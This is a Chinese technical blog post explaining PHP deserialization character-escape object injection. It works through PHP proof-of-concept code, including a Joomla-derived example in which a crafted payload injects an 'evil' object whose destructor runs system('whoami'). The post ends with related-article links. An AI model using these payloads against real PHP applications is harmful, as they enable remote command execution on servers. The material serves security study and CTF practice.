1.漏洞产生原因:

序列化的字符串在经过过滤函数不正确的处理而导致对象注入,目前看到都是因为过滤函数放在了serialize函数之后,要是放在序列化之前应该就不会产生这个问题

?php
function filter($string){
$a = str_replace('x','zz',$string);
return $a;
} $username = "tr1ple";
$password = "aaaaax";
$user = array($username, $password); echo(serialize($user));
echo "\n"; $r = filter(serialize($user)); echo($r);
echo "\n"; var_dump(unserialize($r));
$a='a:2:{i:0;s:6:"tr1ple";i:1;s:5:"aaaaa";}i:1;s:5:"aaaaa";';
var_dump(unserialize($a));

php特性:

1.PHP 在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的
2.对类中不存在的属性也会进行反序列化

以上代码就明显存在一个问题,即从序列化后的字符串中明显可以看到经过filter函数以后s:6对应的字符串明显变长了

并且如果对于a:2:{i:0;s:6:"tr1ple";i:1;s:5:"aaaaa";}i:1;s:5:"aaaaa"; 这种字符串而言,也能够正常反序列化,说明php在反序列化的时候只要求一个反序列化字符串块合法即可,当然得是第一个字符串块

以以上代码为例,如果能够利用filter函数这种由一个字符变为两个字符的特性来注入想要反序列化后得到的属性,使其可以逃逸出更多可用的字符串,那么我们就能反序列化得到我们想要的属性

比如此时我们想要让反序列化后第二个字符串为123456,此时我们的payload如果和之前的username长度为a,则filter处理以后可能username就会变成a,此时我们的payload变成了新的注入的属性,此时反序列化后就会得到我们想要的结果,比如a:2:{i:0;s:6:"tr1ple";i:1;s:6:"123456";}是我们想要达到的效果,此时我们想要注入的payload明显为:

";i:1;s:6:"123456";}

可以得到其长度为20

此时我们已经知道过滤的规则为x->yy,即注入一个x可以逃逸出一个字符的空位,那么我们只需要注入20个x即可变成40个y,即可逃逸出20个空位,从而将我们的payload变为反序列化后得到的属性值

$username = 'tr1plexxxxxxxxxxxxxxxxxxxx";i:1;s:6:"123456";}'; //其中红色就是我们想要注入的属性值
$password="aaaaa";
$user = array($username, $password);
echo(serialize($user));
echo "\n"; $r = filter(serialize($user)); echo($r);
echo "\n";
var_dump(unserialize($r));

可以看到此时注入属性成功,反序列化后得到的属性即为123456

2.实例分析

joomla3.0.0-3.4.6 对象注入导致的反序列化,以下为参考别人的简易化核心漏洞代码

<?php
class evil{
public $cmd; public function __construct($cmd){
$this->cmd = $cmd;
} public function __destruct(){
system($this->cmd);
}
} class User
{
public $username;
public $password; public function __construct($username, $password){
$this->username = $username;
$this->password = $password;
} } function write($data){
$data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
file_put_contents("dbs.txt", $data);
} function read(){
$data = file_get_contents("dbs.txt");
$r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
return $r;
} if(file_exists("dbs.txt")){
unlink("dbs.txt");
} $username = "tr1ple";
$password = "A";
$payload = '";s:8:"password";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}'; write(serialize(new User($username, $password))); var_dump(unserialize(read()));

在这里如果想要通过注入对象来实现反序列化则必须在外部对象内进行注入存在的属性,不能在其外部,否则php将不会进行我们注入恶意对象的反序列化

例如此时因为反序列化读取的时候将会将六位字符\0\0\0替换成三位字符chr(0)*chr(0),因此字符串前面的s肯定是固定的,那么s对应的字符串变少以后将会吞掉其他属性的字符,那么如果我们精心算好吞掉的字符长度,并且能够控制被吞掉属性的内容,那么就能够注入对象,从而反序列化其他类

比如如上所示,此时我们要注入的对象为evil,此时username和password的值我们可控,那么我们可以在username中注入\0,来吞掉password的值,比如

<?php
$a='\0\0\0';
echo strlen($a);
$b=str_replace('\0\0\0', chr(0).'*'.chr(0), $a);
echo strlen($b);

所以此时首先确定我们要吞掉的字符的长度

O:4:"User":2:{s:8:"username";s:6:"tr1ple";s:8:"password";s:4:"1234";}

正常情况下我们要吞掉 ";s:8:"password";s:4:" 为22位

但是因为注入的对象payload也在password字段,并且长度肯定是>=10的,因此s肯定是两位数,因此这里为22+1=23位字符

因为是6->3,因此每次添加一组\0\0\0能多吞掉3个字符,因此需要肯定都是3的倍数

因此我们假如这里构造username为\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0

则经过read函数处理后长度将变为24

即此时能够多吞掉24个字符,为了不让其吞掉payload,我们可以填充1位字符A,即令password的值为A+payload即可

<?php
class evil{
public $cmd; public function __construct($cmd){
$this->cmd = $cmd;
} public function __destruct(){
system($this->cmd);
}
} class User
{
public $username;
public $password; public function __construct($username, $password){
$this->username = $username;
$this->password = $password;
} } function write($data){
$data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
file_put_contents("dbs.txt", $data);
} function read(){
$data = file_get_contents("dbs.txt");
$r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
return $r;
} if(file_exists("dbs.txt")){
unlink("dbs.txt");
} $username = "\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0";
$password = "A";
$payload = '";s:8:"password";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}'; $shellcode=$password.$payload; write(serialize(new User($username, $password))); var_dump(unserialize(read()));

执行结果如上图所示,将成功反序列化password属性所对应的值,其值即为我们注入的对象,整个过程也容易理解,就是吞掉后面的属性来注入属性,那么达到攻击有以下要求:

1.相邻两个属性的值是我们可以控制的

2.前一个属性的s长度可以发生变化,变长变短都可以,变短的话可以吞掉后面相邻属性的值,然后在相邻属性中注入新的对象,如果边长则可以直接在该属性中注入对象来达到反序列化

比如XNUCA2018 hardphp就考察了一个这个相关的trick

这里就出现了用前面的data在反序列化时向后吞一位字符,从而可以导致吞掉后面的普通用户的username字段,而在username字段可以放上我们想要伪造的username,从而达到伪造session的目的

参考:

https://www.cnblogs.com/magic-zero/p/9525842.html

https://github.com/wonderkun/CTF_web/tree/master/web400-12

PHP字符逃逸导致的对象注入的更多相关文章

  1. PHP反序列化中过滤函数使用不当导致的对象注入

    1.漏洞产生的原因 ####  正常的反序列化语句是这样的 $a='a:2:{s:8:"username";s:7:"dimpl3s";s:8:"pa ...

  2. joomla \libraries\joomla\session\session.php 反序列化截断畸形字符串导致对象注入漏洞

    catalog . 漏洞描述 . PHP SESSION持久化 . PHP 序列化/反序列化内核实现 . 漏洞代码分析 . POC构造技巧 . 防御方案 . Code Pathc方案 1. 漏洞描述 ...

  3. 深入理解PHP对象注入

    0x00 背景 php对象注入是一个非常常见的漏洞,这个类型的漏洞虽然有些难以利用,但仍旧非常危险,为了理解这个漏洞,请读者具备基础的php知识. 0x01 漏洞案例 如果你觉得这是个渣渣洞,那么请看 ...

  4. joomla对象注入漏洞分析

    0x00 漏洞简单介绍 jooomla 1.5 到 3.4.5 的全部版本号中存在反序列化对象造成对象注入的漏洞,漏洞利用无须登录,直接在前台就可以运行随意PHP代码. Joomla 安全团队紧急公布 ...

  5. WordPress < 3.6.1 PHP 对象注入漏洞

    0x00 背景 当我读到一篇关于Joomla的“PHP对象注射”的漏洞blog后,我挖深了一点就发现Stefan Esser大神在2010年黑帽大会的文章: http://media.blackhat ...

  6. 详解PHP反序列化中的字符逃逸

    首发先知社区,https://xz.aliyun.com/t/6718/ PHP 反序列化字符逃逸 下述所有测试均在 php 7.1.13 nts 下完成 先说几个特性,PHP 在反序列化时,对类中不 ...

  7. PHP对象注入 PHP Object Injection

    From:PHP Object Injection Last revision (mm/dd/yy): 01/7/2015 译者:李秋豪 Wednesday, 24. May 2017 05:48PM ...

  8. [0CTF 2016]piapiapia{PHP反序列化漏洞(PHP对象注入)}

    先上学习链接: https://www.freebuf.com/column/202607.html https://www.cnblogs.com/ichunqiu/p/10484832.html ...

  9. 阿里云提示:对输入参数id未进行正确类型转义,导致整型注入的发生

    类似以下提示: XXX.php中,对输入参数id未进行正确类型转义,导致整型注入的发生 解决办法: 找到对应文件:$id = $_GET['id']; 增加以下标红过滤: $id = $_GET['i ...

随机推荐

  1. epoll--IO多路复用

    理解 epoll 过程 #include <stdio.h> #include <stdlib.h> #include <string.h> #include &l ...

  2. C++ Web框架::cintara

    1.Cinatra是由C++开源社区purecpp发起的一个开源项目,是一个现代C++写的Web框架,旨在给用户提供一个易用.灵活和高性能的Web框架,让用户能完全专注于核心逻辑而无需关注http细节 ...

  3. Grid实现table表格布局

    HTML <div class="table"> <div class="th"> <div>日期</div> ...

  4. python编程系列---多个装饰器装饰一个函数的执行流程

    首先看一个例子 ''' 多个装饰器装饰一个函数 ''' # 定义第一个装饰器 def set_func1(func): def wrapper1(*args,**kwargs): print('装饰内 ...

  5. {每日一题}:tcp协议实现简单的文件下载器(单任务版)

    文件下载器客户端 这个版本的只是为了方便回顾一下TCP客服端,服务端的创建流程,缺点就是  服务器一次只能让一个人访问下载,过两个写个使用面向对象写一个多线程版的强化一下. from socket i ...

  6. 百万年薪python之路 -- 并发编程之 多进程二

    1. 僵尸进程和孤儿进程 基于unix的环境(linux,macOS) 主进程需要等待子进程结束之后,主进程才结束 主进程时刻检测子进程的运行状态,当子进程结束之后,一段时间之内,将子进程进行回收. ...

  7. MyBatis(2)-- MyBatis配置mybatis-config.xml

    一.properties属性 1.可以在mybatis-config.xml中使用property子元素配置 <properties resource="jdbc.properties ...

  8. 数据结构(四十六)插入排序(1.直接插入排序(O(n²)) 2.希尔排序(O(n3/2)))

    一.插入排序的基本思想 从初始有序的子集合开始,不断地把新的数据元素插入到已排列有序子集合的合适位置上,使子集合中数据元素的个数不断增多,当子集合等于集合时,插入排序算法结束.常用的 插入排序算法有直 ...

  9. SpringBoot2.X整合Actuator

    一 说明 Actuator 的定义 actuator 是一个制造术语,指的是用于移动或控制某物的机械装置.执行器可以通过一个小的变化产生大量的运动. 要将 actuator 添加到基于 Maven 的 ...

  10. JavaScript中instanceof的判断依据

    读jquery源码的时候,发现作者为了让创建jquery对象更容易使用了用函数返回对象的方法 jQuery = function( selector, context ) { return new j ...